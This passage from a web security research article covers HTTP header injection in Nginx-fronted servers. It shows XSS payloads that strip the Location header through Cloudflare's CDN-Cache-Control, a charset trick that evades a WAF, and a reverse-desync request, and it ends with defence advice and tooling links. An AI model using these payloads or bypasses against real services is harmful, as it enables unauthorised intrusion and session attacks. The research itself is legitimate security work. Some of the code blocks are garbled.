If you can inject headers, why not two new lines? In some cases, you'll notice that you're able to break out of the header block, and into the body of the response. This initially seems ripe for a [reflected XSS](#). Sadly however, response header injection almost always occurs on a redirect response and after the start of the location header, preventing us from breaking the syntax of the location header and stopping the redirect from being followed by the browser.

As part of our response header injection research, we decided to search for origin response headers that might provide instructions to the edge node of the target. In the end [Johan Carlsson \(@joaxcar\)](#) suggested we try the CDN-Cache-Control header.

This header instructs Cloudflare to strip the specified response header. To our surprise this worked on the Location header. Allowing us to inject an XSS payload, and have it actually trigger on a redirect response.

```
`GET /abc<@urlencode_all> CDN-Cache-Control: private="Location"
```

```
<script>alert(1)</script> </@urlencode_all> HTTP/1.1 `HTTP/1.1 301 Moved Permanently Content-Length: 25 Server: nginx Location: https://example.com/abc CDN-Cache-Control: private="Location"
```

```
<script>alert(1)</script>`
```

Sadly, an XSS payload in the URL of a request will almost always trigger a WAF response. Tobia, completely unfazed by this, instantly injected a special charset in the Content-Type header in order to completely bypass the WAF and land us a reflected XSS via response header injection.

```
`GET /abc<@urlencode_all> CDN-Cache-Control: private="Location" Content-Type:text/html;charset=ISO-2022-JP
```

```
<scr(Bipt>alert(B(1(B)</scr(Bipt> </@urlencode_all> HTTP/1.1
```

```
`HTTP/1.1 301 Moved Permanently Content-Length: 33 Server: cloudflare CDN-Cache-Control: private="Location" Content-Type: charset=ISO-2022-JP
```

```
<scr(Bipt>alert(B(1(B)</scr(Bipt>`
```

[Reverse Desync Attacks]()

If you pay attention to response splitting's name and really go looking for its original inception, you'll find yourself staring at [Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics](#) by Amit Klein (2004).

This paper introduces an attack technique where injected CRLF sequences end up splitting the response, leading to two responses when one was expected.

In theory, by injecting a short Content-Length header and finishing off a second response you can trigger a desync. Using modern terminology, this would be identified either as a reverse client-side

desync (when there is no front-end present) or simply a reverse desync.

```
GET /%0d%0aContent-Length:%200%0d%0a%0d%0a HTTP/1.1 Host: www.reverse.com`HTTP/1.1 302 Server: nginx Location: /index.html Content-Length: 0
```

Connection: keep-alive

Redirected to /index.html GET /<@urlencode_all> Content-Length: 0

```
HTTP/1.1 200 OK Server: attacker </@urlencode_all> HTTP/1.1 Host: www.reverse.com`HTTP/1.1 302 Moved Temporarily Location: /home/index.html Content-Length: 0
```

HTTP/1.1 200 OK Server: attacker

Moved Temporarily to /index.html`

Sadly, this technique is now usually blocked by the [stacked-response](#) problem that causes all kinds of issues when you're attempting to exploit desync attacks. Browsers (and most front-ends) over-read responses slightly and when encountering more data than was promised by the Content-Length header, dump that extra data and close the connection.

This basically killed what was the original response splitting exploit and to this day, we've been unable to bypass it. There are some blogs out there that hint at a [solution](#) however.

[Defence]()

Defending against HTTP Header Injection in Nginx is fortunately in most cases, very simple. You just need to completely avoid the \$uri and \$document_uri variables inside of the proxy_pass or return directive. Additionally, do not create a variable with a regex match that fails to exclude whitespace.

[\[image: Defence\]](#)

During our research, we realised that many of the servers we were testing were not running Nginx. However, they were built on-top of Nginx. If you use OpenResty or Tengine, you should also check your configuration files for these common misconfigurations.

Finally, for a permanent and reliable fix follow the advice from HTTP/1.1 Must Die, [enable HTTP/2 upstream](#).

[Tooling]()

We are releasing both the Burp Suite extension I used throughout the research and a set of nuclei templates created by Tobia completely open source, in addition to some labs for you to use before going hunting in the wild. You can find these at our respective GitHubs. Pull requests are welcome.

- <https://github.com/t0xodile/crlf-powered-desync-scanner>
- <https://github.com/turtlesec-software/crlf-desyncs>

[Further Research]()

As you explore a topic deeply, new research leads arise that may be worth exploring. The following are the top 4 we came across that show some potential.

- Request header injection via non-path insertion points

This was actually demonstrated in this paper, but is overall under-explored and your best bet for an easy bounty.

- Reverse desync via response header injection

HTTP Response Splitting Reborn has a nice ring to it.

- More methods of injecting headers rather than mutating them

It turns out that parser discrepancies are best left to the ever vigilant HTTP Terminator. That said, known or underappreciated methods of getting a header injected upstream, will always give you some serious desync potential.

- Mutated alternatives of the CRLF sequences

A lot of WAFs will mitigate these techniques by checking for %0d%0a within insertion points.

Defeat them as we always have. For hints, take a look at [Lost in Normalization by Ryan & Isabella Barnett](#) from last year's BlackHat USA. [: exploiting Unicode](#)

[Key Takeaways]()

- Header injections are not low-impact bugs. See the [CRLF-Powered Desync Worm]()
- CRLF-Powered desync attacks achieve impact where other desync classes fail
- Desyncs from header injections aren't going anywhere, while Nginx exists

[Conclusion]()

In summary we've demonstrated how you can escalate request header injection to its maximum potential of a desync worm and provided a plethora of novel methods for detecting and exploiting desync vulnerabilities, even when connections aren't shared between users. To complement this, we've shared our open-source toolkit and hope you'll use it to find some desyncs that have gone unexploited for far too long. Even while preparing for BlackHat, we spotted [great examples in the wild](#) such as a desync found by [@tmctmt](#) which affected Discord.

On a more research-oriented note, buried amongst the high-impact case studies you'll find that this paper represents a much simpler lesson for anyone looking to undertake their own research. The industry has a very short memory. Even recent papers in our very own Top 10 Web Hacking techniques can be combined, mutated and built-upon to find impactful research topics. You just have to test your ideas.

[Request Smuggling tom favourites Black Hat](#)

[Back to all articles](#)

Related Research
